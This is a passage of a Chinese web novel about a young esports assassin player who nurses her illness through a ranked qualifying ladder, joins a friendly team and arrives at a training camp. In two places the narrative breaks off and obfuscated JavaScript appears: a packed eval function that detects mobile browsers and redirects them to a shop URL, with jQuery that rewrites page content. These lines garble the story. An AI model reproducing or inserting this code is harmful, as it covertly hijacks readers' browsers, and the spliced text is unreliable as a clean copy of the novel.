在这样的诉求之下,模拟器应运而生。专家们通过高端科技,参考前人留下的各类书籍,尽量完整的还原了穹顶外世界的原貌,并且设计了可能潜在的风险。学校有目的性的培养探索者,让他们组成五人小队进入模拟器作战,只有获得最终胜利的小队,才能有资格获得支持,离开穹顶,去探索未知的世界。 然而穹顶之下的人们不知道的是,最初那些被遗落在穹顶之外的人类,并没有全部死去。为了适应恶劣的环境,他们同样进化出了强大的能力,与自然共存。 穹顶内外的势力汇集在一起,共同组成了DOME游戏的八大职业——暗杀者,狙击手,机械师,医师,元素天赋者,精灵骑士,驯鹰人,游僧。 游戏的pvp模式也被称为模拟器作战,采用5v5公平竞技的模式,八大职业,二十张模拟地图随机匹配,同队中职业不可重复。 双方队伍随机刷新在模拟地图的两侧,根据地图性质获取资源,最终全部击杀对手或者率先达成作战目标的小队获得胜利。 “冲榜赛采用匿名随机匹配模式,不可选择地图,根据个人表现计算积分……”方既亭一手提着箱子,一手拿着手机,一边看规则,一边一步一步往楼梯上挪。 “冲榜赛时间为7月6日至7月16日,每晚18:00-22:00,最终各职业积分榜排名前16的选手将获得参加线下集训与分组赛的资格。” 阳光从老旧墙壁上的方孔里头照进来,落在灰黑的地面和生锈脱皮的金属扶手上,铺出规则排列又形状扭曲的格纹。偶有一两片孤叶点缀,给这静谧的午后多了些生动。 “那不就是正常的定榜排位赛嘛。”她走到家门口,小声嘟囔了一句,将手机收进口袋,掏出钥匙。 打开门,细小的灰尘扑面而来,激得方既亭不断咳嗽,连连挥手。 自从加入了HFG战队,她便一直都住在战队宿舍,在之后被送去女团选秀,她也是直接从战队收拾东西,搬到了节目组统一安排得住处。 如此算来,这间屋子已经有半年没有回来过了。 方既亭将自己得行李箱搬进屋,手脚麻利地打开窗,开始打扫卫生,一个下午的时间,便搞了个七七八八。 终于有空再拿起手机的时候,已经是傍晚时分,夕阳西下。 直播平台建的粉丝群里,躺了零星的几条消息。 [亭宝回来了嘛?回来了的话,今晚直播嘛?] [被淘汰了应该这两天就回了吧。] [让亭宝歇歇吧,刚从节目回来肯定很累。] [呜呜呜也是……想念亭宝。] 【宇宙第一暗杀者大王】:播,今晚播。 方既亭回了一句,起身向自己的房间走过去。 [!亭宝活过来了!] [好耶!] [亭宝告诉你一个好消息,我教师资格证考过啦!] [感觉好久没见亭宝直播了。] [亭啊,你是真的勇啊,那天直播我都吓死了。] [是啊,你没事吧?网上一群人喷你我都拉黑不过来,现实有人找你麻烦吗?] [亭宝你别难过呀。] 【宇宙第一暗杀者大王】:@花花不吃饭,花花好厉害呀!恭喜花花!直播那件事情已经过去啦!对不起让大家担心,没有人找我麻烦,不好的评论大家忽略就好啦,千万不要因为这个影响自己的心情。 【宇宙第一暗杀者大王】:今晚直播带粉,大家有空的都可以上车哦。 角落里的电脑上落了一层灰还没有来得及清理,方既亭一边回消息,一边摁下了开机键。然而,那看起来已经上了些年纪的电脑并没有什么反应。 方既亭没有多想,只以为是自己没有摁到底,有多摁了几次,依旧无事发生。 她愣了愣,趴下身子,将电源关了又开,又将插头拔下来再插进去,捣鼓了十五分钟之后,才十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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方既亭笑着谢过,又继续蹲在旁边仔仔细细地看,蹲的累了,干脆一屁股坐在了地上,撑着脑袋又看了一会儿,没过一会儿,便开始昏昏欲睡。 林叔睨了她一眼,哭笑不得地摇了摇头,也没说什么,只是不再说话,继续专心手头的事。 也不知是不是因为赶着将主机搬去店里地时候出了汗,又在空调间里一动不动地睡了一个多钟头,方既亭抱着主机回到家,只觉得嗓子里地干涩越发明显,似乎是感冒地前兆。 今天已经是7月3日,再过三天冲榜赛就要开放了,正是关键时刻,千万生不得病。 于是她上楼将主机先放在家门口玄关处,转身又出门去买药。 等到方既亭买好了药和晚饭,抱着主机回到自己地房间地时候,已经将近十一点了。 她将挂在小臂上地麻辣米粉放在桌上,仔细插好插线,显示屏亮起来地那一刻,悬着的心总算是放下了一点。 这个点再开直播也已经来不及了,方既亭叹了口气,正郁闷着,耳边又传来“咕噜咕噜”地声响。 “叫什么叫,不许叫!” 她伸手拍了拍自己的肚子,一边开游戏,一边打开包装。 方既亭地游戏角色是个少女体型地暗杀者,高马尾,蝴蝶结,上半身是白色抹胸配了件皮质地黑色短外套,下半身皮质短裤搭了条银链腰带,脚踩了黑色短靴,双刀别在腰后,是十分符合外人对暗杀者刻板印象地穿搭。 中心广场人来人往,热闹不已。 方既亭将角色停在路边挂机,她没有开灯,二十二英寸地电脑屏幕里透出地光照亮桌前一小片天地,小小地身影蜷缩在那单薄地光里,低头专心致志地大口嗦粉,空气中地微尘漂浮在她身侧,而屏幕中地那些热闹都与她无关。 “嗝!” 打了个饱嗝,方既亭摸了摸自己鼓起来地肚子,发出一声舒服地谓叹。 一抬头,却发现屏幕中自己角色地身边,不知什么时候站了一个穿着蓬蓬裙的小萝莉。 蓝色的ID飘在头顶:【69岁柱杖庸医】。 8. 昭昭 ? 方既亭愣了愣,而后,几乎是不假思索的,点开聊天框,给她发去了私聊。 【AAA双刀批发小方】:[#开心]好巧啊!又见面了! …… 【AAA双刀批发小方】:[#舞蹈]你还记得我吗?我是上次那个暗杀者! …… 【AAA双刀批发小方】:那天晚上我都还没来得及夸你,你好厉害呀! …… 一连三条消息石沉大海,毫无波澜。 小萝莉站在原地左看看右看看,一会儿蹲下检查自己医疗箱中的药品,一会儿背手低头百无聊赖地踢着地上并不存在地石子。 那是医师地专属待机动作。 难道人不在? 方既亭面露疑惑,而后,她眼睁睁地看着那小萝莉身上地衣服换了一件,又换了一件。换到第三件的时候,那人物模型终于动了一动。 【69岁柱杖庸医】:? 【69岁柱杖庸医】:我是医师,不用双刀,谢谢。 聊天框里接连弹出两条回复,方既亭愣了愣,眼看着医师就要走,连忙打字给她回复。 【AAA双刀批发小方】:不是不是,我不是卖刀的! 【AAA双刀批发小方】:那天晚上,我最开始睡着了,后来醒了,你用换生把我换起来了,你还记得吗? 【69岁柱杖庸医】:? 【69岁柱杖庸医】:哦!好像是有这么一回事儿,好巧呀暗师傅。 暗师傅。 方既亭看着这个令人万分伤心的称呼,一时竟不知该如何反驳。 【69岁柱杖庸医】:你在这里做什么呢? “刚吃过饭,想去打排……” 【69岁柱杖庸医】:我这儿排位刚好4缺1,要不要一起呀? 方既亭眨了眨眼,火速将聊天框里没有打完的话删去,只回了一个“好呀”。下一秒,组队申请便跳出在她的屏幕中央。她点了确定,队伍里只有两个人,很快又进来了一名id叫【蒙面虾滑】的机械师。 机械师一进队,就操着一口东北话大剌剌地开了麦。 “唉呀妈呀这谁啊,那儿找来的暗杀者?” 几个字,方既亭带着耳机,只觉得耳膜嗡嗡地有些发疼。 “朋友。”庸医也开了麦,回复言简意赅。耳机另一头传来劈里啪啦的声音,似乎是在忙着打字。 “啥朋友啊?靠谱不?这版本暗杀者老弱了啊。”蒙面虾滑地声音里多了些明显地不信任。 DOME游戏的排名赛分为两种,一种是多人排位模式,玩家可以选择组队或是单人进入匹配,进入对局后,可以根据规则选择或是去掉自己不想遇到地图。该模式计算的是玩家的个人分数。 而另一种单人排位模式,玩家只能单排进入,进入对局后地图完全随机。该模式计算的是玩家的职业分数,每周都有最低场数规定,如果打不满,分数会有一定的下降。 单人排位模式也是各个职业国榜的定榜依据,因此也被称为定榜赛。 方既亭原本是打上了国榜,但因为先前将近一个月参加综艺耗费了许多时间和精力,现在个人分数虽然看起来也不差,但和医师那闪亮亮的国服标比起来,还是逊色了许多。 “你担心什么?”庸医回道,“说了带你上分,我能浪费自己的时间吗?” “也是,你办事向来靠谱,”蒙面虾滑笑嘻嘻说着,又转而对方既亭开玩笑道,“哥们,你这双刀多少钱一把呀?” 方既亭想了想,开麦道:“老弟,方姐这只做批发,不零售的。” “艾玛?”耳机那头传来一声惊叹,短暂的停顿过后,蒙面虾滑再开口,已经是标准而温柔的普通话,“不好意思啊妹妹,我眼瞎了,刚刚先入为主了,你别介意。” 方既亭听的一愣,紧随其后的是庸医放荡不羁的大笑:“怎么回事啊,虾滑,刚刚那个机械师他不玩了吗?” “不玩了。”蒙面虾滑脸不红心不跳,“再说了这也不能怪我啊,我还以为是你又不知道从哪里撩来的新弟弟。” “那都是别人来找的我,别说的好像我像个渣女一样。”庸医那边敲键盘的声音停了下来,“海带和牛肉丸人呢?干甚去了还不来?” “报告,海带说她要先去遛个狗,牛肉丸说他妈喊他去洗澡,他要洗完澡再来。” “不是,他俩什么毛病?”耳机那头的姑娘忍不住吐槽了一句。 “拖延症,老毛病了。” “去医院看过吗?” “看过了,医生说没救了。” “什么庸医,送我这儿来我给他们一人一个耳刮子就好了。” “庸医”说话半点情面不留,蒙面虾滑终于忍不住爆笑起来。 方既亭沉默着听机械师和医师你一言我一语一本正经的胡说八道,只觉得既混乱又十分有趣。 她玩这游戏也有三年了,但未满十六岁之前都是拿哥哥方怀瑾的游戏账号,放了学写完作业,每天也就只能玩上一两把,周末倒是能玩的比较久,但从前一起玩的朋友们很快就因为跟不上她的分数而不再能一起排位,到现在,大家都上了高中,课业繁忙,联系也越来越少。 再后来,她跟着苏晴一同加入了HFG,队伍里包含她在内一共只有五个人,彼此之间的水平差距也并不小,因此她大多数时候也都是一个人。 “不等他们,咱们先开一把?”庸医忽然开口道。 “我没问题啊。”蒙面虾滑立刻回。 “我也没问题。” 方既亭有些激动的搓了搓手,听了方才那一阵对话,她已经有些迫不及待。 由于几人的分数都比较高,匹配的时间稍长些,二十多秒才进入对局。系统分配的另外两名队友分别是元素天赋者和驯鹰人。 DOME游戏的排位模式分为禁图方和选图方,进入bp时间后,禁图方的一二号位分别禁用一张地图,而后选图方对位分别选择一张地图,禁图方三四号位再分别禁用一张地图,选图方对位选图,就这样重复三轮后,系统在选图方选出的五张地图中随机抽取一张作为最终地图。 “我们没有狙击手,把冰川禁了。” 本局游戏方既亭她们是禁图方,蒙面虾滑恰好排在了一号位,听了庸医的话,十分爽快的应了一声“好”,而后禁掉了地图【冰川雪原】。 而二号位的路人队友似乎一时也不知道要禁什么,方既亭给他推荐了地图【藏经阁】。 “嗯?”蒙面虾滑愣了愣,“不禁圆盘吗?你怎么把自己擅长的地图禁了?” 【圆盘】和【冰川雪原】是游戏中的两张典型的小图,地图结构比较简单,且都是全开放的室外平面,遮挡物较少,能供狙击手蹲伏的制高点都处在地图的正中心。一旦被狙击手抢到,那狙击视野几乎可以说是全图无死角。 因此,如果双方都有狙击手,那么开局后抢占制高点就尤其重要,但现在方既亭这边五人还看不到对方的配置,在己方没有狙击手的情况下,为了避免对方有狙击手,先手把这两张图禁掉算是比较常规的操作。 “先藏一手。”方既亭道。 “什么意思?”蒙面虾滑不解。 交谈间,对方已经选完了两张图——【千机楼】和【藏经阁地宫】。 庸医“哦吼”了一声,方既亭和她分别是三四号位,两人几乎是同时禁用了两张带有室内部分的地图。 “如果直接禁圆盘和冰川的话,对面肯定知道我们没有狙击手了,所以再选一张室内图会比较好,驯鹰人和元素天赋者都不太适合打全室内。”禁完地图后,方既亭才开口向他解释,“反正最后是五分之一的概率,圆盘放了就放了,但是他们没选圆盘,说明对面应该也没有狙击手。” “对方应该是暗杀者,游僧,医师,机械师,元素天赋者。”庸医接了一句,“我们只需要尽可能的禁掉带室内的图就行。” 说话间bp时间已经结束,最终地图为天地裂谷,而对方的配置与庸医所说如出一辙。 “还行,就是暗杀者可能稍微难受一点,没事儿,问题不大。”庸医发出评价,“视野2,生命5,防御5,点吧。” “好嘞。”蒙面虾滑二话不说,按照庸医所说开始分配自己的自定义点数。 方既亭闻言,想了想,停下了加点的手。 “姐姐,那我要怎么点?”她乖巧提问。 “按你的习惯来就行。”庸医开口道。 “那我可以把敏捷加满不?”方既亭又问。 暗杀者原本生命和防御就不高,敏捷加满,意味着方既亭的角色在本局游戏中将会是一个手感极其舒服的小脆皮。 “加!”庸医想也没想,“都可以加,别演就行。” “姐姐,我也想把敏捷加满。”蒙面虾滑掐着嗓子开口。 “滚。”庸医说话毫不客气,语气很明显是在开玩笑,“等会儿视野开不好别怪我骂你。” “嘤嘤嘤。” 虾滑假装哭了两声,那语气实在滑稽,方既亭终于还是没能忍住,笑出了声。 她似乎从来没有这么开心而放松的打过游戏,区别于对游戏本身的兴奋与获胜后的喜悦,仅仅是 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“可以吗?”方既亭有些受宠若惊。 “当然当然!”蒙面虾滑连忙道。 方既亭正想问问庸医,却只见她不知什么时候已经火速下了线。 “茶茶明天还要上班,所以着急去洗澡休息。”蒙面虾滑看出她的意图,“她也在群里呢,你进来,就可以加她好友哦。” “对呀,她今天也很开心,肯定也很喜欢你。”海带附和了一句。 上班? 方既亭愣了愣,心道这位姐姐打得这么好,竟然真的只是一个普通玩家。 “好呀,以后一起玩。” 她应了一声,蒙面虾滑将群号发在队伍的聊天框,而后大家一个接着一个很快都下了线。 方既亭将群号复制进搜索框,搜出来一个名叫“火锅大队”的群聊,群里人数不多,只有十二人。 发去的加群申请很快就被通过,已经是将近凌晨一点,今天一起玩的三人向大家“隆重”介绍了一下自己,方既亭与他们打过招呼,聊了几句,大家也都陆陆续续下线睡觉。 最后一句“晚安”没有再收到回复,方既亭在群友中找到那个名字叫“茶茶”的姑娘,她的头像是一个脸上盖着书,仰面躺着的□□小人,书封上“摆烂”二字尤其显眼。 她给对方发去好友申请,等了一会儿,意料之中地没有收到回复。 方才茶茶也没有在群里说话,估摸着是已经睡着了。 方既亭这么想着,身子向后靠上椅背,用力伸了个懒腰。 喉头地干涩在兴奋褪去后又变得比先前更加明显,方既亭冲了包药,端着杯子又坐会电脑前,登陆了零区。 《DOME》游戏现在一共分了五个大区,不同大区地玩家之间无法再游戏内碰面,却可以加好友,聊天,或是一起组队游戏。零区是比赛专用区,只有专门地账号在特定地时间才可以进入。 7月4日零点后,冲榜赛地注册通道就已经开放了,隔日不如撞日,方既亭准备趁着今天兴致高,先把角色注册了再说。 完成人脸认证后,系统自动载入了该账号下的角色形象,但ID却需要自己重新另取。 [冲榜赛采用的ID将成为您未来的职业ID,长度限制为2-4个字符,一旦创建成功则不可更改,请谨慎取名。] 方既亭想起邮件中的注意事项,她原本使用的ID【TING】好许多年前就已经被别的职业选手注册,因此不得不再想一个新的。 叫什么呢。 头顶的台灯落下昏黄的光,勉强照亮了显示屏后一小片已经有些发黑的墙壁。彩色的标签翘了三个角,褪色的墨迹消磨不掉笔画间的稚气。 昭昭如愿,岁岁安澜。 方既亭不记得自己是什么时候又是从哪里抄下了这句短诗帖在桌前,似乎是某年用来群发的新年祝福,。 目光停留在字条上许久,方既亭歪了歪头,在姓名栏输入了两个字:昭昭。 昭昭是我,岁岁如愿。 换了电脑,方既亭将杯中黑色的药汁一饮而尽,抬头,刚好与显示器上的那个颜十七的毛绒玩偶对上了目光。 她看了一会儿,将那娃娃取下,捧在掌心。 “颜神啊颜神,你一定要保佑我啊!” “保佑我明天千万不要生病,不对,冲榜赛结束之前都不能生病!” “我得打进前十六才行。” “求求你啦,颜神!” 她用力咳嗽了一声,许愿道。 9. 没空 方既亭还是发烧了。 病来如山倒,病去如抽丝。 冲榜赛打了十天,方既亭就病了十天。 前五天神志不清昏昏欲睡,白天匆匆忙忙跑去医院挂水,晚上回到家来不及休息忙着冲分,趁着排队和bp的间隙扒拉几口外卖。 后五天病情总算是好转了些,但在筛选掉一批水平较差的对手之后,对局便开始变得越发焦灼难打,一些比较复杂的地图耗到25分钟以上都是常事。有时候遇到并不友好的队友,要么是争夺指挥权,要么一两次失误就开始疯狂输出,方既亭想劝,可喉咙又疼又哑,只得作罢。 耳机里吵吵嚷嚷十几分钟,最后界面一片灰白,跳出冰冷的失败二字。 太阳穴突突直跳,方既亭双手抱头,用力揪住自己的头发,疾病与失败的重压之下,她忍不住开始怀疑,自己现在所做的一切到底是不是真的有意义。 这条路的尽头,到底是万丈深渊,还是一堵撞死了无数人的南墙。 终于,总算,7月16日晚上22点15分,看着屏幕上金灿灿的“胜利”二字,方既才长长呼出一口气来。 最终的分数结算需要等到明天早上六点,而她甚至都没有了退出游戏的兴致,推开椅子站起身,直接仰面瘫倒在了床上。 感冒还没有好全,方既亭两个鼻孔一个堵着一个通,此前一门心思都扑在游戏上没有察觉,现如今完全放松下来,那些细小的酸臭味便像是一只一只小小的触手挥舞着钻进鼻腔,越发不可忽视。 指尖触碰到有些潮湿的布料,方既亭脑袋动了动,借着小小屏幕散发出的微弱的光,瞥见满地的餐巾纸团和没有精力打扫的垃圾,随意丢在床上的脏衣服皱巴巴地拧在一起,整个人从身到心,从里到外都无比凌乱而狼狈。 孤独与疲惫终于在此刻同时爆发,狭小的屋子里,方既亭将自己蜷缩起来抱成一团,泣不成声。 然后,哭完之后,她爬起身,抽了两张餐巾纸将眼泪擦干,一件一件地把脏衣服捡起来,塞进洗衣机里。又撕了个大垃圾袋,把屋子里的纸巾和奶茶瓶子全部装进去,放到了门外。 扫地拖地擦桌子,全部收拾妥当后,她又给自己换了一套床单和被套,关了空调开窗通风,而后抱着衣服进了浴室,洗了个舒服的热水澡。 等到方既亭晒完衣服,叼着冰箱里刚拿出来的袋装牛奶,重新回到焕然一新的房间,打开空调,拿着一包薯片钻进被子里,靠上松软的靠枕,她才终于又觉得自己重新活了过来。 床头柜上的手机已经充满了电,方既亭拿起来,“火锅大队”正聊的火热。 凌晨一点还能看到这个社畜群刷这么多条消息,实在是有些稀奇。 正好无聊,也没什么睡意,方既亭干脆直接将消息拉到最上面,一边吃薯片一边一条一条地看着大家地聊天记录。 很快,一条消息跳进了她的视线。 【海带小姐】:@甜不辣你之前不是说你收到了新星大赛的邀请吗?怎么样啊,打了没啊那个冲榜赛? 【蒙面虾滑】:对啊,怎么样啊,好像今天冲榜赛刚结束吧? 【甜不辣】:打个毛,太难打了,我打了三天就受不了了。 【蒙面虾滑】:? 【牛筋丸有话要说】:细说。 【甜不辣】:我说啥啊?被虐到没脾气。而且每个职业大概有三四百个,他们就只要前十六,我的朋友,几百个人选十六个人! 【甜不辣】:那哪是玩游戏啊简直就是在磨人,能坚持到最后的都是神仙吧?算了算了,我这个凡人还是不凑这个热闹了。 【海带小姐】:这么一听确实……感觉要累死了。 【蒙面虾滑】:话说,@茶茶吃火锅甜不辣都收到邀请了,茶茶应该也收到了吧? 方既亭吃薯片的动作一滞,手指快速下滑,跳过中间的消息,直接找到了那条回复。 【茶茶吃火锅】:收到了,年年给我发。 【蒙面虾滑】:年年给你发,你也不去体验一下? 【茶茶吃火锅】:没空。 意料之中的回复,方既亭却不知为何有些许失望。 这个话题被蒙面虾滑一句简单的“也是”终结,再往下的内容就是一些日常的拌嘴与闲聊,方既亭喝完牛奶,把没吃完的薯片叠好,自然而然地滑进被子里,看着看着,困意袭来,很快就进入了梦乡。 本想着定个闹铃早点起来看排名,却不想铃声完全没有被听见,一觉醒来已经是中午十二点。 睁开眼,方既亭人还没有完全清醒,首先看到的是浮在锁屏上的一条收到新邮件的消息提示。 点开,邮件标题上那个大大的DOME标识令她瞪大了眼睛,心脏砰砰直跳。 [穹顶之下的勇士,恭喜您在冲榜赛中成功突围。] ! 意识到自己看到了什么,方既亭几乎是瞬间就从床上弹了起来,还没来的及打开电脑,赤着脚跑到电脑前,摁下开机键的手还有些轻微的颤抖。 [若确认参新星大赛,请在7月18日晚18:00前进入下方链接网址,填写个人信息及收货地址,我们将会给您寄送实体邀请函,详见以下内容。] [请注意,若未能在规定时间内填写完成个人信息,则视为放弃资格,名额顺位向下候补。] 账号,密码,登录,一气呵成。 方既亭点开暗杀者的榜单,将进度条缓慢往下拖,终于找到了自己的名字。 【昭昭】 目光左移。 【第十六名】 ! 方既亭觉得自己的心都停跳了半拍,紧张与快感一起袭来,像是沙滩边濒死的鱼,在海浪的拍打之下,一会儿干燥一会儿湿润,反复折磨许久之后,终于回到了大海的怀抱。 而她身边的其他“鱼”们—— 余光扫过第十七,十八,十九…… 方既亭忍不住双手合十,心生悲悯。 然后,她拿起手机,在直播地粉丝群里,与大家一同分享了这个好消息。 【宇宙第一暗杀者大王】:向大家汇报最新进度!冲榜赛第十六名成功晋级啦!另外主包的病也好了很多,不出意外的话从今晚开始每天都会直播。但是之后去集训,应该又会有很长时间不能和大家见面,先提前给大家道个歉! 一段话丢进去,原本还安安静静的群瞬间就炸开了锅。 [什么!亭宝真的进前十六了!亭宝太强了!!] [妈呀,踩线进的吗?牛哇!] [恭喜亭宝!!!!之前听说生病了真的好担心影响状态,还好最后有惊无险了呜呜呜。] [啊啊啊啊麻麻,我关注的小主播真的要成为正式注册的职业选手了!亭宝你要加油啊亭宝!!!] 消息一条一条的刷过,方既亭又乐呵呵地与大家聊了一会儿,按照邮件的指示填完了个人信息,才出门准备吃饭。 二十天过得很快,集训的地点定在DOME联盟总部所在的E市,距离方既亭所在的C市并不太远,坐高铁大概只需要半个多小时。 联盟依照填写的个人信息,给所有晋级的选手买好了车票,从车站到集训大楼则是安排了专车接送。 整个新星大赛会持续一个月的时间,前三周是联盟安排的统一集训, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078982|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一周是正式的比赛。 一百二十八名选手通过抽签组成十六支队伍,在没有教练辅助指导战术与bp的情况下,自主完成比赛。对于新人而言,这无疑是一次极大的挑战,同时也是最好的展示自己的机会。 虽说新星大赛是普通玩家通往职业的必经之路,但如果不能足够出色被战队选中,哪怕是拿了大赛的第一,依旧只能打道回府。 然而目前这一切的残酷对方既亭而言都还完全没有概念,她拖着小小的箱子,随着人群一起上楼,去到分配好的四人宿舍,里头已经有两个女孩正各自在收拾自己的东西。 听到有人推门,两人几乎同时抬头,望了过来。 “你们好呀,我叫……”方既亭打招呼的动作一顿,原因无他,眼前的两个人实在是有些太像了。 “你们是……双胞胎吗?”她有些吃惊的瞪大了眼睛。 “嗯。”较高的姑娘先开了口,“我叫张菲菲,是妹妹,职业是精灵骑士。” “张雯雯,机械师。”另一个较矮的姑娘跟着开口。 “这个床位好像是随便选的,我们到的时候房间里还没有人,所以先挑了两张。”张菲菲开口道。 “哦,哦。”方既亭回过神来,连连点头,“我叫……” “我认识你。”张菲菲打断她,“你叫方既亭,是个暗杀者,就是那个之前在选秀上直播爆自家战队黑……哎哟,你干嘛!” 张雯雯伸手敲了一下张菲菲的后脑勺,而后微笑着向方既亭道歉:“不好意思,我妹妹说话不过脑子,你别介意。” “没,没事。”方既亭有些尴尬的笑了笑,“她说的也是事实。” 她一边打着圆场,一边在剩下两张床里挑了个靠窗的,将箱子靠了过去。 集训要穿的衣服和日程安排都已经放在了桌上,方既亭坐下,拿起那张A4纸,只一眼,就再一次被惊掉了下巴。 “早上八点起床?八点半集合?”她忍不住惊讶出声,“还有体能训练……还有考试……这,这是军训还是集训啊?” “maybe,服从性测试?”张菲菲看着她这副惊讶的样子似乎是觉得有些好笑,“你看起来好小啊,你多大啦?” “十六岁。”方既亭老实道。 报名参加集训的最低年龄就是十六岁,而方既亭的生日在三月,确实应该是集训营中年纪最小的一批。 “哦!那真的好小啊!”张菲菲忍不住感叹。 张雯雯在一旁轻笑了一声:“说的好像你很大一样,你不也才十八吗?” “那难道你不是十八吗?”张菲菲反驳。 “我是啊,你不是吗?” “我是啊!” 方既亭看着这两姐妹莫名其妙的就开始拌起了嘴,忍不住失笑。正准备起身先收拾收拾东西,恰好见到最后一名室友小心翼翼地推开了门,探头向屋内张望。 四目相对,那姑娘却似乎是一下子紧张了起来,张了张嘴,支支吾吾地说不出一句完整地话。 “你好?我叫方既亭。”方既亭有些好奇地往后看了看,确认周围没有什么奇怪的东西,才试探性地打了声招呼。 双胞胎姐妹听闻这边地动静,不再吵架,都看了过来。 这两双眼睛一加上,少女更是紧张。 “你你你……你们好……好……”她站在门口低着头,说话不住地结巴,“我我……我叫,叫……” “叫——?”方既亭实在是有些着急,接了一声。 张雯雯和张菲菲也都同时屏息凝神,生怕一个小小的呼吸,都会打断她酝酿已久地节奏。 “我叫,叫……” 10. 萧婷 “沈长风,十九岁,医师。” 身后传来一个稍年长些的女声,沈长风吓了一跳,向前踉跄几步,方既亭一眼就看清了站在门口的人。 短上衣,黑皮裤,脚上蹬了一双卡其色的马丁靴,一头乌黑的卷发整齐落在耳后,浑身上下都写了三个字:不好惹。 “很好听的名字。”她望向沈长风,点了点头。 沈长风先是一愣,而后似乎是放松了一些,轻咬着下唇,露出一个略有些局促的笑:“谢,谢谢。” 方既亭有些好奇的打量这眼前这个堪称瘦弱的姑娘,尽管这么想有些不太礼貌,但要将这样一个形象和“长风”这个大气的名字结合在一起,着实是有些困难。 萧婷低头看了眼平板,目光扫过房间里另外的三人。 “张雯雯,张菲菲,方既亭?” 三人面面相觑,尽管都心有疑惑,听到自己的名字却还是下意识点了点头。 “你们好,我叫萧婷,是本次集训的教练之一。”女人见宿舍人都已经到齐,便开始自我介绍,同时向几人展示平板上的二维码,“这是集训群的禁言群,大家都先加一下,正常来说就是按照那张表上的来,有什么重要消息会在群里通知。” “另外今天晚饭后会有一个电竞天赋测试,每个人都要做,测试的设备有限所以需要排队,届时也会在群里通知,你们记得留意一下。” “最后再提醒一句,从现在开始你们所有的表现,考试成绩以及训练赛的录像都会被记录下来作为最后各个俱乐部挑选的标准,所以请各位尽量注意自己的言行,不要惹祸,也不要没事找事。” 四人异口同声应了一声“好”,萧婷点点头,目光又落到方既亭的身上,逡巡片刻,才转身离开。 “哇,竟然是活得大魔王耶!本人比电视里还漂亮!” 张雯雯不动声色地走过去关了房门,张菲菲则是凑到方既亭跟前,顶了顶她的肩膀,“欸,你认识大魔王?” “我不认识啊。”方既亭连忙摆手。 “那她那么看着你做什么?”张菲菲问,“我还以为你是她亲自推荐的人呢。” “我不是呀。”方既亭道,“我不是战队推荐来的,是自己投的……”她说着,忽然像是想到了什么一般,语气稍稍一顿。 “如果是收到主办方的邀请邮件的话,是有人推荐的意思吗?” “嗯?”张菲菲愣了愣,“是的啊,只有有人推荐了才会收到邀请邮件的。” “那自己投的简历通过了收到的是什么?”方既亭问。 双胞胎姐妹互相对视了一眼,默契地摇了摇头:“不知道,我们俩都是推荐的。” 一时没有人接话,宿舍内地氛围变得有些尴尬,方既亭刚想再说些什么缓和缓和,一只细瘦的手递过来一只手机。 “我是投的简历。”沈长风看了看方既亭,又看了看手机。 她的表情实在是有些冷淡,方既亭反应了一会儿,才意识到她是想给自己看投简历通过后的回复邮件。 “啊,谢谢!”她连忙接过来,点开看了一眼。 [穹顶之下的公民,恭喜您,您的简历已经通过审核。请在……] 方既亭将手机还了回去。 “怎么了?”张雯雯见她脸色似乎不是很好,关心了一句。 “没什么。”方既亭摇了摇头,面露疑惑,“就是有点奇怪,我虽然投了简历,但是收到的也是邀请的邮件。” “害,那有什么。”张菲菲站起身,又继续开始收拾自己的东西,“应该是你的简历没有通过,但是后面又有人推荐了你,你投简历的时候,职业排榜在多少名?” “好像是五百多吧。”方既亭道,“可是我有一个女赛的冠军啊。” 那个时候她刚打完GGL的比赛不久,准备比赛期间也没有好好上分,因此排名并没有很高。 “那就对了,我听说联盟筛简历第一个就卡排名,五百开外的不管拿什么奖都根本不看的,五百名以内才回去看看其他的东西。”张菲菲头也没抬,嘴上叽里呱啦说个不停。 “可是我从来没有联系过什么战队,为什么会有人推荐我?”方既亭也蹲下身看,一边整理东西一边问。 “那有可能是有教练看上你了,就推荐了呗。你在那个综艺上的表现那么劲爆,有人注意到……哎哟,你干嘛啊!” 张菲菲捂着脑袋满脸幽怨地转头望向张雯雯,张雯雯却只是瞪了她一眼。 “你之前不是参加过那个什么女赛吗?拿了冠军说明表现不错,或许那个时候就有人注意到你了。” “对对,很有可能。”张菲菲接道,“我听说,这个海选只要是有战队推荐,联盟都会发邀请的,说不定某个教练看你有潜力就顺手推荐了呢,广撒网嘛,你也不用有什么压力,反正最后能打进前十六也是你自己的本事呀。” “话说你是多少名呀?” 方既亭被她这一通说的也放松了下来:“十六名。”她老实回答。 “好家伙,天选之子。”张菲菲瞪大眼睛感叹了一句。 方既亭有些不好意思地“嘿嘿”笑了两声,忽然像是想起了什么,又问道:“话说,你们为什么要叫婷神大魔王呀?” “欸?”张菲菲愣了愣,“你没有听说过她?” “我只知道她之前是Angle的暗杀者,好像有去国外当过外援,后来才回来的。”方既亭一脸懵,“婷神大家倒是常叫,但是大魔王是什么时候的称呼啊?” “不会吧,她这么出名……” “她今年才十六岁,不知道很正常吧。” 张雯雯闻言开口打断了张菲菲,后者若有所思地点了点头。 “奥……也对,那就让我张菲菲来为你科普大魔王的光辉事迹!” 她说着,丢了手里的东西,一下跳到了宿舍中央,抬头挺胸,又装模作样地咳嗽了两声。 张雯雯似乎已经预料她要做什么,有些尴尬地别过了脸,一直低着头忙自己事儿的沈长风此时也忍不住抬起头,和方既亭一起仰头望了过去。 “咳咳……我认为,女赛的存在本身就是对女性的轻视,我们不需要温室,所有有能力有梦想的姑娘们都应该到DPL来。” “诚然这是个男女比例失衡的环境,但只要我在一天,我就会尽我所能,保护所有的女孩们拥有同等的资源与机会。我会为她们铺路,而在这条路铺好前,我希望她们能踩着我的肩膀,去更高,更远的地方。” 